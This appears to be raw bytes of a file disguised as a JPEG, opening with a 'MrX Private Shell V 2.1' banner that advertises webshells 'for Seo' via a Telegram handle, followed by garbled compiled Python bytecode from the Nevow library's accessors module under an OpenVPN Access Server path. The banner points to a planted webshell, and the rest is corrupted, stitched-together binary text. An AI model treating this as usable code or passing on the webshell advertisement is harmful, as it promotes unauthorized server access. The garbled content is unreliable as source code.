����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
�
�BD^c @ s d Z d d l m Z d d l j j Z d d l m Z m Z m
Z
d d l m Z d � Z
d e f d � � YZ d e j f d
� � YZ d e j f d � � YZ d
e j f d � � YZ d e j f d � � YZ d e j f d � � YZ d � Z d e j f d � � YZ d S( sJ Standard IData introspection adapters.
Classes and functions in this module are responsible for resolving
data directives into the actual data to be rendered.
By default, Nevow knows how to I{look inside} Python's mapping (dict)
and sequence (tuple, list) types as well as call any functions and
methods found in the stan tree.
i����( t
implementsN( t IGettablet
IContainert IData( t utilc C sz t | d � } | d k rr | } | j | � } t | t j � rR | j t | � S| | k rb | St | | � Sn | Sd S( s� Recursively resolve the data until either a Twisted deferred or
something that does not implement the IGettable interface is
found.
N( R t Nonet gett
isinstanceR t Deferredt addCallbackt
convertToData( t datat contextt newdatat olddata( ( s[ /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/accessors.pyR
s t
NoAccessorc B s e Z RS( ( t __name__t
__module__( ( ( s[ /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/accessors.pyR ( s t DirectiveAccessorc B s e Z e e � d � Z RS( c C sV | j t � } t | d � } | d k r: t d | � n | j | | j j � } | S( NsE %r does not implement IContainer, and there is no registered adapter.( t locateR R R R t childt originalt name( t selfR R t containerR ( ( s[ /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/accessors.pyR / s ( R R R R R ( ( ( s[ /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/accessors.pyR , s
t SlotAccessorc B s e Z e e � d � Z RS( c C s | j | j j � S( N( t locateSlotDataR R ( R R ( ( s[ /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/accessors.pyR ; s ( R R R R R ( ( ( s[ /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/accessors.pyR 8 s
t FunctionAccessorc B s e Z e e � d � Z RS( c C s | j | | j t � � S( N( R R R ( R R ( ( s[ /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/accessors.pyR A s ( R R R R R ( ( ( s[ /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/accessors.pyR ? s
t DictionaryContainerc B s e Z e e � d � Z RS( c C s | j | S( N( R ( R R R ( ( s[ /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/accessors.pyR H s ( R R R R R ( ( ( s[ /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/accessors.pyR E s
t ObjectContainerc B s! e Z d Z e e � d � Z RS( sC Retrieve object attributes in response to a data directive; providing
easy access to your application objects' attributes.
ObjectContainer is not registered as an adapter for any objects by default.
It must be registered for each type you want to adapt.
The adapter will cowardly refuse to get any attributes that start with an
underscore.
For example:
>>> class Image:
... def __init__(self, filename, comments):
... self.filename = filename # A string
... self.comments = comments # A sequence of strings
...
>>> registerAdapter(ObjectContainer, Image, IContainer)
Registering the adapter allows Nevow to retrieve attributes from the Image
instance returned by the data_image method when rendering the following
XHTML template::
<div n:data="image">
<p n:data="filename" n:render="string">filename</p>
<ul n:data="comments" n:render="sequence">
<li n:pattern="item" n:render="string">comment</li>
</ul>
</div>
c C s3 | d d k r# t d | � � n t | j | � S( Ni t _sJ ObjectContainer does not support attribute names starting with '_', got %r( t
ValueErrort getattrR ( R R R ( ( s[ /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/accessors.pyR m s ( R R t __doc__R R R ( ( ( s[ /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/accessors.pyR L s
c C s'